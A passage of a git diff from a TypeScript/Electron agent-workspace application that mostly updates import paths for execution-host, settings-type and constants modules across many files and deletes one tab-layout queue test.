'../../../../shared/plugins/workers/plugin-host-api-agent-history' import { pluginAgentSessionIdSchema } from '../../../../shared/plugins/workers/plugin-host-api-panel-methods' import { pluginWorkspaceId } from '../../../../shared/plugins/workers/plugin-host-api-workspace-methods' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { aiVaultHistoryAgents, isAiVaultAgent diff --git a/src/main/plugins/workers/host-api/plugin-host-agent-resume-binding.ts b/src/main/plugins/workers/host-api/plugin-host-agent-resume-binding.ts index e171a79210a..f12e949839e 100644 --- a/src/main/plugins/workers/host-api/plugin-host-agent-resume-binding.ts +++ b/src/main/plugins/workers/host-api/plugin-host-agent-resume-binding.ts @@ -4,7 +4,7 @@ import { pluginResumeKey } from '../../../../shared/plugins/workers/plugin-agent import { getConnectionExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { bind, type BoundPluginHostMethod } from './plugin-host-method-bind' import { preparePluginPastSession, resumableTranscript } from './plugin-past-session-resume' import { diff --git a/src/main/plugins/workers/host-api/plugin-host-project-target.ts b/src/main/plugins/workers/host-api/plugin-host-project-target.ts index c00b8244c2a..832c09a6c3f 100644 --- a/src/main/plugins/workers/host-api/plugin-host-project-target.ts +++ b/src/main/plugins/workers/host-api/plugin-host-project-target.ts @@ -1,5 +1,8 @@ import { z } from 'zod' -import { getRepoExecutionHostId, normalizeExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + normalizeExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { PluginHostCallError } from './plugin-host-call-scope' import type { PluginRuntimeRpc } from './plugin-host-runtime-call' diff --git a/src/main/plugins/workers/host-api/plugin-host-workspace-list.ts b/src/main/plugins/workers/host-api/plugin-host-workspace-list.ts index f0fef871cfe..8883f3b7505 100644 --- a/src/main/plugins/workers/host-api/plugin-host-workspace-list.ts +++ b/src/main/plugins/workers/host-api/plugin-host-workspace-list.ts @@ -7,7 +7,7 @@ import { pluginWorkspaceId } from '../../../../shared/plugins/workers/plugin-host-api-workspace-methods' import { folderWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { isRepoHidden } from '../../../../shared/project/catalog/hidden-projects' import type { PluginRuntimeRpc } from './plugin-host-runtime-call' import type { PluginHostServices } from './plugin-host-method-bindings' diff --git a/src/main/plugins/workers/host-api/plugin-past-session-resume.ts b/src/main/plugins/workers/host-api/plugin-past-session-resume.ts index 7b3213e20f3..29e09e91237 100644 --- a/src/main/plugins/workers/host-api/plugin-past-session-resume.ts +++ b/src/main/plugins/workers/host-api/plugin-past-session-resume.ts @@ -11,7 +11,7 @@ import { type AiVaultPrepareSessionResumeArgs, type AiVaultPrepareSessionResumeResult } from '../../../../shared/ai-vault/resume/ai-vault-resume-preparation' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { ProviderSession } from '../../../../shared/rpc-contract/terminal/agent-session-params' import { codexDatedRolloutRelativePath } from '../../../codex/history/resume/codex-session-resume-home' import type { PluginHostMethodContext } from './plugin-host-method-bind' diff --git a/src/main/ports/workspace-port-execution-host.ts b/src/main/ports/workspace-port-execution-host.ts index 61467415172..5dc144ba663 100644 --- a/src/main/ports/workspace-port-execution-host.ts +++ b/src/main/ports/workspace-port-execution-host.ts @@ -2,7 +2,7 @@ import { normalizeExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import type { WorkspacePortHostKillRequest, WorkspacePortHostScanResult, diff --git a/src/main/preflight/workspace-agent-detection.ts b/src/main/preflight/workspace-agent-detection.ts index e4fe12036a7..419bad6034a 100644 --- a/src/main/preflight/workspace-agent-detection.ts +++ b/src/main/preflight/workspace-agent-detection.ts @@ -9,7 +9,7 @@ import { getSshTargetIdForExecutionHost, LOCAL_EXECUTION_HOST_ID, parseExecutionHostId -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import { findFolderWorkspaceCandidateRepos, resolveFolderWorkspaceHost diff --git a/src/main/project-groups/folder-workspace-path-status.ts b/src/main/project-groups/folder-workspace-path-status.ts index 37660634a13..ec5fdd5c85e 100644 --- a/src/main/project-groups/folder-workspace-path-status.ts +++ b/src/main/project-groups/folder-workspace-path-status.ts @@ -1,5 +1,8 @@ import { resolveQualifiedFolderWorkspaceResult } from '../../shared/folder-workspaces/folder-workspace-execution-host' -import { parseExecutionHostId, type ExecutionHostId } from '../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../shared/execution-host/execution-host' import { stat as statLocalPath } from 'node:fs/promises' import { isPathInsideOrEqual } from '../../shared/file-access/cross-platform-path' import type { diff --git a/src/main/provider-process/supervised-provider-child-location.ts b/src/main/provider-process/supervised-provider-child-location.ts index c579f4837eb..09499a80812 100644 --- a/src/main/provider-process/supervised-provider-child-location.ts +++ b/src/main/provider-process/supervised-provider-child-location.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../shared/execution-host/execution-host' import type { AgentSessionExecutionLocation } from '../../shared/agent-session/lifecycle/agent-session-record' import { isWindowsProcessStartTimeAvailable } from '../windows/windows-process-table' diff --git a/src/main/providers/execution-host-provider-dispatch.ts b/src/main/providers/execution-host-provider-dispatch.ts index 0dbf384371b..c126d9e3061 100644 --- a/src/main/providers/execution-host-provider-dispatch.ts +++ b/src/main/providers/execution-host-provider-dispatch.ts @@ -5,7 +5,7 @@ import { type ExecutionHostId, type LOCAL_EXECUTION_HOST_ID, type ParsedExecutionHost -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import { createLocalFilesystemProvider } from './filesystem/local-provider' import { createLocalGitProvider } from './git/local-provider' import { SshHostNotServedError } from './ssh-host-not-served-error' diff --git a/src/main/pty/history/history-gc-worktree-ids.ts b/src/main/pty/history/history-gc-worktree-ids.ts index b7bd252715f..38b90e9423f 100644 --- a/src/main/pty/history/history-gc-worktree-ids.ts +++ b/src/main/pty/history/history-gc-worktree-ids.ts @@ -1,6 +1,6 @@ import type { Store } from '../../persistence/loading-store/store' import { folderWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' -import { isRepoOnCatalogHost } from '../../../shared/execution-host' +import { isRepoOnCatalogHost } from '../../../shared/execution-host/execution-host' import { getOtherProfileWorktreeIdsForHistoryGc } from '../../orca-profiles/catalog/other-profile-workspace-catalog' import { addWorkspaceSessionWorktreeOwners, diff --git a/src/main/rate-limits/initial-account-rate-limit-target.ts b/src/main/rate-limits/initial-account-rate-limit-target.ts index 911d00c1b8b..83ecadd79b3 100644 --- a/src/main/rate-limits/initial-account-rate-limit-target.ts +++ b/src/main/rate-limits/initial-account-rate-limit-target.ts @@ -1,5 +1,5 @@ import { resolveLocalAccountRuntimeTarget } from '../../shared/agent-accounts/local-account-runtime' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' type AccountRuntimeSelection = { host: string | null diff --git a/src/main/rate-limits/providers/claude/claude-rate-limit-target.ts b/src/main/rate-limits/providers/claude/claude-rate-limit-target.ts index dc4d5355e2e..779332905a3 100644 --- a/src/main/rate-limits/providers/claude/claude-rate-limit-target.ts +++ b/src/main/rate-limits/providers/claude/claude-rate-limit-target.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { getClaudeWslSelectionKey, normalizeClaudeRuntimeSelection, diff --git a/src/main/rate-limits/providers/codex/codex-rate-limit-target.ts b/src/main/rate-limits/providers/codex/codex-rate-limit-target.ts index 3f675ba19e5..ee3c8fdcb79 100644 --- a/src/main/rate-limits/providers/codex/codex-rate-limit-target.ts +++ b/src/main/rate-limits/providers/codex/codex-rate-limit-target.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { getWslSelectionKey, type CodexAccountSelectionTarget diff --git a/src/main/rate-limits/providers/minimax/minimax-fetcher.ts b/src/main/rate-limits/providers/minimax/minimax-fetcher.ts index 773f4144046..a6f88fd1f20 100644 --- a/src/main/rate-limits/providers/minimax/minimax-fetcher.ts +++ b/src/main/rate-limits/providers/minimax/minimax-fetcher.ts @@ -1,5 +1,5 @@ import type { ProviderRateLimits } from '../../../../shared/agent-usage/rate-limits/rate-limit-types' -import type { MiniMaxEndpoint } from '../../../../shared/global-settings-types' +import type { MiniMaxEndpoint } from '../../../../shared/settings/global-settings-types' import { extractMiniMaxCookieValue, fetchMiniMaxWithApiKey, diff --git a/src/main/rate-limits/providers/minimax/minimax-request-context.ts b/src/main/rate-limits/providers/minimax/minimax-request-context.ts index d7edc292b17..aafc4e1c301 100644 --- a/src/main/rate-limits/providers/minimax/minimax-request-context.ts +++ b/src/main/rate-limits/providers/minimax/minimax-request-context.ts @@ -1,5 +1,5 @@ import type { Session } from 'electron' -import type { MiniMaxEndpoint } from '../../../../shared/global-settings-types' +import type { MiniMaxEndpoint } from '../../../../shared/settings/global-settings-types' import { getMainHttpClient, requirePartitionSession } from '../../../network/http-client' const MINIMAX_USAGE_PATH = '/v1/api/openplatform/coding_plan/remains' diff --git a/src/main/rate-limits/service/account-runtime-target-sync.ts b/src/main/rate-limits/service/account-runtime-target-sync.ts index f7c225e5dbf..829075bb485 100644 --- a/src/main/rate-limits/service/account-runtime-target-sync.ts +++ b/src/main/rate-limits/service/account-runtime-target-sync.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { RateLimitState } from '../../../shared/agent-usage/rate-limits/rate-limit-types' import type { RateLimitService } from './rate-limit-service' import { getInitialClaudeRateLimitTarget } from '../providers/claude/claude-rate-limit-target' diff --git a/src/main/repository-icons/repo-icon-autodetect.ts b/src/main/repository-icons/repo-icon-autodetect.ts index b70be6edfb1..fc068add91f 100644 --- a/src/main/repository-icons/repo-icon-autodetect.ts +++ b/src/main/repository-icons/repo-icon-autodetect.ts @@ -1,5 +1,5 @@ import { readFile, stat } from 'node:fs/promises' -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { GitHubRepositoryIdentity } from '../../shared/github/repositories/repository-identity' import type { RepoKind } from '../../shared/repository/repo-types' import { diff --git a/src/main/runtime/__fixtures__/orca-runtime-terminal-close-continuity-state-fixture.ts b/src/main/runtime/__fixtures__/orca-runtime-terminal-close-continuity-state-fixture.ts index 93b24879d08..a55e5795607 100644 --- a/src/main/runtime/__fixtures__/orca-runtime-terminal-close-continuity-state-fixture.ts +++ b/src/main/runtime/__fixtures__/orca-runtime-terminal-close-continuity-state-fixture.ts @@ -1,4 +1,4 @@ -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/runtime/agent-senders/agent-sender-chat-sessions.ts b/src/main/runtime/agent-senders/agent-sender-chat-sessions.ts index 94c5edaa5d7..691068796b6 100644 --- a/src/main/runtime/agent-senders/agent-sender-chat-sessions.ts +++ b/src/main/runtime/agent-senders/agent-sender-chat-sessions.ts @@ -9,7 +9,7 @@ import { } from '../../../shared/agent-session/view/structured-agent-session-projection' import type { AgentSessionRecordReader } from '../orchestration/addressing/session-lineage/structured-session-lineage' import { createCanonicalSessionResolver } from '../orchestration/addressing/session-lineage/structured-session-lineage' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import type { AgentSenderAssociation } from '../../../shared/orchestration/mailbox/agent-sender-associations' /** Chats with an open tab. Without a recorded tab table the store still knows the workspace's diff --git a/src/main/runtime/agent-senders/agent-sender-execution-facts.ts b/src/main/runtime/agent-senders/agent-sender-execution-facts.ts index 56f4dd94ac7..195f7636fdb 100644 --- a/src/main/runtime/agent-senders/agent-sender-execution-facts.ts +++ b/src/main/runtime/agent-senders/agent-sender-execution-facts.ts @@ -5,7 +5,7 @@ import { readWorkerTerminalHostScope } from '../../../shared/orchestration/worke import 'zod' import '../../../shared/agent-session/view/structured-agent-session-projection' import '../orchestration/addressing/session-lineage/structured-session-lineage' -import '../../../shared/execution-host' +import '../../../shared/execution-host/execution-host' import type { AgentSenderPane } from './agent-sender-live-panes' export function agentSenderExecutionKey( diff --git a/src/main/runtime/agent-senders/agent-sender-live-panes.ts b/src/main/runtime/agent-senders/agent-sender-live-panes.ts index ce30b205dde..30ce5ad3835 100644 --- a/src/main/runtime/agent-senders/agent-sender-live-panes.ts +++ b/src/main/runtime/agent-senders/agent-sender-live-panes.ts @@ -5,7 +5,7 @@ import '../../../shared/orchestration/workers/worker-terminal-host-scope' import 'zod' import '../../../shared/agent-session/view/structured-agent-session-projection' import '../orchestration/addressing/session-lineage/structured-session-lineage' -import '../../../shared/execution-host' +import '../../../shared/execution-host/execution-host' import type { RuntimeAgentOrchestrationDependencies } from '../orchestration/crew/runtime-agent-orchestration-projection' import type { AgentSenderHandleReads } from './runtime-agent-sender-associations' diff --git a/src/main/runtime/agent-senders/agent-sender-principals.ts b/src/main/runtime/agent-senders/agent-sender-principals.ts index e1743b6b1ec..d6522eae53f 100644 --- a/src/main/runtime/agent-senders/agent-sender-principals.ts +++ b/src/main/runtime/agent-senders/agent-sender-principals.ts @@ -8,7 +8,7 @@ import '../../../shared/orchestration/workers/worker-terminal-host-scope' import { z } from 'zod' import '../../../shared/agent-session/view/structured-agent-session-projection' import '../orchestration/addressing/session-lineage/structured-session-lineage' -import '../../../shared/execution-host' +import '../../../shared/execution-host/execution-host' import type { AgentSenderPublication } from '../../../shared/orchestration/mailbox/agent-sender-associations' import type { OrchestrationDb } from '../orchestration/db/orchestration-db' import { tolerant } from './agent-sender-row-decoding' diff --git a/src/main/runtime/agent-senders/agent-sender-row-decoding.ts b/src/main/runtime/agent-senders/agent-sender-row-decoding.ts index 75c7fa18e5d..bcdf5d9a72f 100644 --- a/src/main/runtime/agent-senders/agent-sender-row-decoding.ts +++ b/src/main/runtime/agent-senders/agent-sender-row-decoding.ts @@ -6,7 +6,7 @@ import 'zod' import type { z } from 'zod' import '../../../shared/agent-session/view/structured-agent-session-projection' import '../orchestration/addressing/session-lineage/structured-session-lineage' -import '../../../shared/execution-host' +import '../../../shared/execution-host/execution-host' export const tolerant = (schema: z.ZodType, rows: unknown[]): T[] => rows.flatMap((row) => { diff --git a/src/main/runtime/agent-session/agent-session-launch-directory.test.ts b/src/main/runtime/agent-session/agent-session-launch-directory.test.ts index fd5a75194ca..c0f0f1af3d0 100644 --- a/src/main/runtime/agent-session/agent-session-launch-directory.test.ts +++ b/src/main/runtime/agent-session/agent-session-launch-directory.test.ts @@ -5,7 +5,7 @@ import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { AgentSessionExecutionLocation } from '../../../shared/agent-session/lifecycle/agent-session-record' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/workspace/identity/floating-workspace-id' import { resolveAgentSessionLaunchDirectory } from './agent-session-launch-directory' import type { AgentSessionRecordStore } from './records/agent-session-record-store' import { openTestAgentSessionRecordStore } from './records/agent-session-record-store-test-harness' diff --git a/src/main/runtime/agent-session/agent-session-tab-layout-queue.test.ts b/src/main/runtime/agent-session/agent-session-tab-layout-queue.test.ts deleted file mode 100644 index 8aeb7a387fb..00000000000 --- a/src/main/runtime/agent-session/agent-session-tab-layout-queue.test.ts +++ /dev/null @@ -1,57 +0,0 @@ -import { expect, it, vi } from 'vitest' -import { createChatTabLayoutQueue } from './agent-session-tab-layout-queue' - -it('refuses a captured close when another actual holder now uses that id for a different session', async () => { - const { fixture } = - await import('../../persistence/loading-store/profile-writing/profile-state-delayed-authority-fixture') - const { withChatTabChanges } = await import('./agent-session-tab-layout') - const { getDefaultWorkspaceSession } = await import('../../../shared/constants') - const { applyWindowLayoutCommand } = await import('../terminal/layout/runtime-layout-apply') - const { store } = await fixture() - const workspace = 'all-holders' - for (const [hostId, sessionId] of [ - ['local', 'captured'], - ['ssh:other', 'replacement'] - ] as const) { - const session = withChatTabChanges(hostId, getDefaultWorkspaceSession(), workspace, [ - { open: { sessionId, agent: 'codex', tabId: 'same-tab' } } - ]) - if (!session) { - throw new Error('expected saved tab') - } - store.setWorkspaceSession(session, hostId) - } - await store.flushPendingOrThrowAsync() - const effects = vi.fn() - const settled = Promise.withResolvers() - let reply: unknown - const queue = createChatTabLayoutQueue({ - sessionOf: () => store.getWorkspaceSession('local'), - hostIdOf: () => 'local', - apply: async (command, run) => { - try { - const result = await applyWindowLayoutCommand( - store, - () => ['local', 'ssh:other'], - command, - undefined, - { ...run, onEffects: effects } - ) - reply = result - return result - } finally { - settled.resolve() - } - } - }) - queue([{ worktreeId: workspace, change: { close: 'captured', tabId: 'same-tab' } }]) - await settled.promise - expect(reply).toMatchObject({ ok: false }) - expect(effects).not.toHaveBeenCalled() - expect(store.getWorkspaceSession('local').unifiedTabs?.[workspace]?.[0]?.entityId).toBe( - 'captured' - ) - expect(store.getWorkspaceSession('ssh:other').unifiedTabs?.[workspace]?.[0]?.entityId).toBe( - 'replacement' - ) -}) diff --git a/src/main/runtime/agent-session/agent-session-tab-layout-queue.ts b/src/main/runtime/agent-session/agent-session-tab-layout-queue.ts index f12c3042269..f94bc7f605f 100644 --- a/src/main/runtime/agent-session/agent-session-tab-layout-queue.ts +++ b/src/main/runtime/agent-session/agent-session-tab-layout-queue.ts @@ -1,5 +1,5 @@ import { savedSessionId } from './lifecycle/saved-structured-agent-session-restoration' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { LayoutApplyReply } from '../../../shared/workspace-layout/workspace-layout-command-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { diff --git a/src/main/runtime/agent-session/agent-session-tab-layout.ts b/src/main/runtime/agent-session/agent-session-tab-layout.ts index 3e69855b1e4..5e1a593f546 100644 --- a/src/main/runtime/agent-session/agent-session-tab-layout.ts +++ b/src/main/runtime/agent-session/agent-session-tab-layout.ts @@ -1,7 +1,7 @@ // Persist windowless chat tabs too, so the host layout remains complete. import type { AgentType } from '../../../shared/agent-status/contracts/agent-status-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { applyLayoutCommand } from '../../../shared/workspace-layout/workspace-layout-commands' import { loadWorkspaceLayout } from '../../../shared/workspace-layout/persistence/workspace-layout-load' import { nameBasedLoadContext } from '../../../shared/workspace-layout/persistence/workspace-layout-minted-ids' diff --git a/src/main/runtime/agent-session/environment/structured-agent-account-home.ts b/src/main/runtime/agent-session/environment/structured-agent-account-home.ts index 9404f3d06e1..a9a2fdfa60e 100644 --- a/src/main/runtime/agent-session/environment/structured-agent-account-home.ts +++ b/src/main/runtime/agent-session/environment/structured-agent-account-home.ts @@ -1,5 +1,5 @@ import type { AgentSessionAccountKind } from '../../../../shared/agent-session/agent-session-availability' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' import { getClaudeProfileRouter } from '../../../claude-accounts/profiles/routing/claude-profile-installed-router' import { claudeRoutedHomeAsync } from '../../../claude-accounts/profiles/routing/claude-profile-routed-home' diff --git a/src/main/runtime/agent-session/environment/structured-agent-shell-environment.ts b/src/main/runtime/agent-session/environment/structured-agent-shell-environment.ts index 471177ff2f9..6472e7f543f 100644 --- a/src/main/runtime/agent-session/environment/structured-agent-shell-environment.ts +++ b/src/main/runtime/agent-session/environment/structured-agent-shell-environment.ts @@ -13,7 +13,7 @@ import { mergeWindowsPathSegments, resolvePathEnvKey } from '../../../pty/environment/windows-path-segment-merge' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { overlayEnvironmentVariables } from '../../../../shared/shell/launch/environment-overlay' import { stripInheritedAgentSessionEnv } from '../../../../shared/agent-launch/startup/parent-agent-session-env' import { diff --git a/src/main/runtime/agent-session/installation/runtime-structured-agent-host.ts b/src/main/runtime/agent-session/installation/runtime-structured-agent-host.ts index b06b30a6f45..27bbde24480 100644 --- a/src/main/runtime/agent-session/installation/runtime-structured-agent-host.ts +++ b/src/main/runtime/agent-session/installation/runtime-structured-agent-host.ts @@ -9,7 +9,7 @@ import { getProfileUserDataPath } from '../../../orca-profiles/profile-storage-p import { isTuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent-config' import { resolveTuiAgentLaunchEnv } from '../../../../shared/agent-launch/choices/tui-agent-launch-defaults' import { overlayEnvironmentVariables } from '../../../../shared/shell/launch/environment-overlay' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { StructuredAgentId } from '../../../../shared/agent-session/lifecycle/provider-handles/agent-session-provider-handle' import type { RuntimeWorkspaceCatalog } from '../../workspaces/catalog/workspace-catalog' import type { OrcaRuntimeWithRefreshPtyWorktreeRecordsFromController } from '../../terminal/lifecycle/pty-worktree-refresh' diff --git a/src/main/runtime/agent-session/installation/structured-agent-runtime-metadata.ts b/src/main/runtime/agent-session/installation/structured-agent-runtime-metadata.ts index d7588c21561..ad36409e79d 100644 --- a/src/main/runtime/agent-session/installation/structured-agent-runtime-metadata.ts +++ b/src/main/runtime/agent-session/installation/structured-agent-runtime-metadata.ts @@ -11,7 +11,7 @@ import { CODEX_STRUCTURED_AGENT } from '../../../codex/structured/launch/codex-s import { CLAUDE_STRUCTURED_AGENT } from '../../../claude/structured/claude-structured-agent-definition' import { CLAUDE_CLI_CONVERSATIONS } from '../../../claude/claude-cli-conversations' import { CODEX_CLI_CONVERSATIONS } from '../../../codex/history/journal-views/codex-cli-conversations' -import { isNativeLocalLocation as supportsCodexStructuredLocation } from '../../../../shared/execution-host' +import { isNativeLocalLocation as supportsCodexStructuredLocation } from '../../../../shared/execution-host/execution-host' import { supportsClaudeStructuredLocation } from '../../../claude/structured/launch/claude-structured-location-support' import { supportsAcpStructuredLocation } from '../../../acp/session/acp-structured-location-support' import { PI_RPC_RUNTIME_METADATA } from '../../../pi/rpc-runtime-metadata' diff --git a/src/main/runtime/agent-session/installation/usage-limit-account-usage.ts b/src/main/runtime/agent-session/installation/usage-limit-account-usage.ts index 590db780dda..3277d54ed9d 100644 --- a/src/main/runtime/agent-session/installation/usage-limit-account-usage.ts +++ b/src/main/runtime/agent-session/installation/usage-limit-account-usage.ts @@ -3,7 +3,7 @@ import { realpath } from 'node:fs/promises' import { homedir } from 'node:os' import { join, resolve } from 'node:path' import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { nativeChatShellEnvironmentPolicy } from '../../../../shared/native-chat/native-chat-shell-environment' import { createStructuredAgentEnvironmentResolvers } from '../environment/structured-agent-shell-environment' import { CLAUDE_AUTH_ENV_VARS } from '../../../claude-accounts/runtime-auth/environment' diff --git a/src/main/runtime/agent-session/launch/structured-agent-availability.ts b/src/main/runtime/agent-session/launch/structured-agent-availability.ts index 87809c845c0..e4a56c9889b 100644 --- a/src/main/runtime/agent-session/launch/structured-agent-availability.ts +++ b/src/main/runtime/agent-session/launch/structured-agent-availability.ts @@ -4,8 +4,8 @@ import { homedir } from 'node:os' import { delimiter, isAbsolute } from 'node:path' import type { AgentSessionAgentAvailability } from '../../../../shared/agent-session/agent-session-agent-availability' import type { AgentSessionExecutionLocation } from '../../../../shared/agent-session/lifecycle/agent-session-record' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { onManagedRuntimeReleasesChanged } from '../../../node-runtime/managed-runtime-installation' import { onAgentsRefreshedOnHost } from '../../../preflight/agents-refreshed-on-host' import { diff --git a/src/main/runtime/agent-session/launch/structured-agent-launch-composition.ts b/src/main/runtime/agent-session/launch/structured-agent-launch-composition.ts index 892a19e48a9..2a93d9098ae 100644 --- a/src/main/runtime/agent-session/launch/structured-agent-launch-composition.ts +++ b/src/main/runtime/agent-session/launch/structured-agent-launch-composition.ts @@ -3,7 +3,7 @@ import type { AgentSessionJournalIdentity } from '../../../../shared/agent-session/journal/agent-session-journal-identity' import type { AgentChatPermissionChoice } from '../../../../shared/agent-launch/permissions/agent-chat-permission-mode' import type { AgentSessionRecord } from '../../../../shared/agent-session/lifecycle/agent-session-record' -import { isNativeLocalLocation } from '../../../../shared/execution-host' +import { isNativeLocalLocation } from '../../../../shared/execution-host/execution-host' import type { StructuredAgentDefinition } from '../../../native-chat/agent-session-wire/providers/structured-agent-definition' import { agentDrivesSession } from '../../../native-chat/agent-session-wire/providers/structured-agent-session-provider-support' import type { StructuredAgentCommandSettings } from '../../../native-chat/agent-launch/structured-agent-command-resolution' diff --git a/src/main/runtime/agent-session/launch/structured-agent-launch-support.ts b/src/main/runtime/agent-session/launch/structured-agent-launch-support.ts index 988b7425186..07a76334401 100644 --- a/src/main/runtime/agent-session/launch/structured-agent-launch-support.ts +++ b/src/main/runtime/agent-session/launch/structured-agent-launch-support.ts @@ -1,6 +1,6 @@ import type { AgentSessionExecutionLocation } from '../../../../shared/agent-session/lifecycle/agent-session-record' import type { StructuredAgentId } from '../../../../shared/agent-session/lifecycle/provider-handles/agent-session-provider-handle' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { overlayEnvironmentVariables } from '../../../../shared/shell/launch/environment-overlay' import { isTuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent-config' import { diff --git a/src/main/runtime/agent-session/lifecycle/saved-structured-agent-session-restoration.ts b/src/main/runtime/agent-session/lifecycle/saved-structured-agent-session-restoration.ts index 1327bb98189..83a5b2c6783 100644 --- a/src/main/runtime/agent-session/lifecycle/saved-structured-agent-session-restoration.ts +++ b/src/main/runtime/agent-session/lifecycle/saved-structured-agent-session-restoration.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { Tab } from '../../../../shared/workspace-layout/tab-groups/tab-types' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import type { RuntimeStore } from '../../construction/runtime-store-contract' diff --git a/src/main/runtime/agent-session/lifecycle/structured-agent-session-tab-authority.test-support.ts b/src/main/runtime/agent-session/lifecycle/structured-agent-session-tab-authority.test-support.ts index a1810f07e2c..234b101b80d 100644 --- a/src/main/runtime/agent-session/lifecycle/structured-agent-session-tab-authority.test-support.ts +++ b/src/main/runtime/agent-session/lifecycle/structured-agent-session-tab-authority.test-support.ts @@ -7,7 +7,7 @@ import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, vi } from 'vitest' import { folderWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { structuredAgentSessionTabId } from '../../../../shared/agent-session/view/structured-agent-session-projection' import { agentSessionLeaseFixture, diff --git a/src/main/runtime/agent-session/naming/structured-chat-naming-runtime.ts b/src/main/runtime/agent-session/naming/structured-chat-naming-runtime.ts index 7789e75c3ca..e143b10b869 100644 --- a/src/main/runtime/agent-session/naming/structured-chat-naming-runtime.ts +++ b/src/main/runtime/agent-session/naming/structured-chat-naming-runtime.ts @@ -8,7 +8,10 @@ import { import { chatNamingAgentTarget } from './structured-chat-naming-agent-launch' import type { AgentLaunchProfileSettings } from '../../../../shared/agent-launch/choices/tui-agent-launch-defaults' import { chatNamingFailure } from '../../../../shared/text-generation/chat-naming-failure-copy' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { CommitMessageAgentEnvironmentResolvers } from '../../../text-generation/execution/commit-message-agent-environment' import type { StructuredChatNamingDeps } from '../../../native-chat/conversation-naming/structured-chat-naming-types' import type { StructuredAgentSessionLogger } from '../../../native-chat/agent-session-wire/host/structured-agent-session-logger' diff --git a/src/main/runtime/agent-session/pr-watch-workspace-sources.ts b/src/main/runtime/agent-session/pr-watch-workspace-sources.ts index 924721557fe..68cb91c1172 100644 --- a/src/main/runtime/agent-session/pr-watch-workspace-sources.ts +++ b/src/main/runtime/agent-session/pr-watch-workspace-sources.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' 